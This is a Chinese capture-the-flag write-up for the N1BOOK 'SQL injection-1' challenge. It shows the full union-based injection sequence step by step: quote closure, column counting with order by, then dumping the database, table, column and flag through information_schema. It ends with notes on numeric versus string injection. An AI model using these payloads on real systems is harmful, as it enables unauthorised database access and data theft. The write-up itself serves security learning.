一道 SQL 注入的简单题 _wp
[N1BOOK]SQL 注入-1
看到最上面 id=1,试一下有无 sql 注入
试一下让参数为假传参 1.1 ?id=1'
页面显示错误,再把后面原有的闭合注释掉
页面显示正常,有 sql 注入
到 order by 4 时出现了错误
说明有 3 个字段
?id=1.1' union select 1,2,3 --ww 发现显错位
?id=1.1' union select 1,database(),3 --ww 数据库名 note
?id=1.1' union select 1,database(),table_name from information_schema.tables where table_schema=database() --ww
表名 fl4g
?id=1.1' union select 1,database(),column_name from information_schema.columns where table_schema=database() and table_name='fl4g' -- w
字段名 fllllag
id=1.1' union select 1,database(),fllllag from fl4g -- w
n1book{union_select_is_so_cool}
*可用 group_concat('|',fllllg)获取该字段所有值,用‘|’分隔
group_concat():用,分隔,联合多行记录的函数
若参数只有一个字段名,联合查询当前字段所有(其实也有一定长度)的记录,并显示在一个字段中
判断是否有引号包裹
没有引号包裹,即数字型,可以直接输入 SQL 语句干扰正常查询
php 源码中 id=".$_GET['id']."
如果有引号包裹,就要闭合引号,再把后面的引号用-- ww 或者 # 注释掉
id='".$_GET['id']."'
有引号包裹的情况,可能是单引号也可能是双引号。单引号的情况较多
原理,数据库查询那里会有强转
若接受的是数字类型,输入的是字符串,那么这个字符串会被强转成数字类型
例如,
'1'=1
'1a'=1
'a'=0 //字符串 a 被强制转换为 0 所以与 0 相等
如果为字符型
?id=3-1 页面显示异常
?id=2a 页面显示正常
版权声明: 本文为 InfoQ 作者【w010w】的原创文章。
原文链接:【http://xie.infoq.cn/article/ca1f6590b11e5e4c8d08444c3】。
本文遵守【CC-BY 4.0】协议,转载请保留原文出处及本版权声明。
评论